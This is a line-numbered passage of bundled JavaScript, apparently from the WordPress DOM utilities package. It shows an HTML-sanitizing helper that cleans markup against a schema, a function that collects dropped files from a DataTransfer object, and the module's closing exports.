1060 function removeInvalidHTML(HTML, schema, inline) {
1061 const doc = document.implementation.createHTMLDocument("");
1062 doc.body.innerHTML = HTML;
1063 cleanNodeList(doc.body.childNodes, doc, schema, inline);
1064 return doc.body.innerHTML;
1065 }
1066
1067 // packages/dom/build-module/data-transfer.mjs
1068 function getFilesFromDataTransfer(dataTransfer) {
1069 const files = Array.from(dataTransfer.files);
1070 Array.from(dataTransfer.items).forEach((item) => {
1071 const file = item.getAsFile();
1072 if (file && !files.find(
1073 ({ name, type, size }) => name === file.name && type === file.type && size === file.size
1074 )) {
1075 files.push(file);
1076 }
1077 });
1078 return files;
1079 }
1080
1081 // packages/dom/build-module/index.mjs
1082 var focus = { focusable: focusable_exports, tabbable: tabbable_exports };
1083 return __toCommonJS(index_exports);
1084})();
1085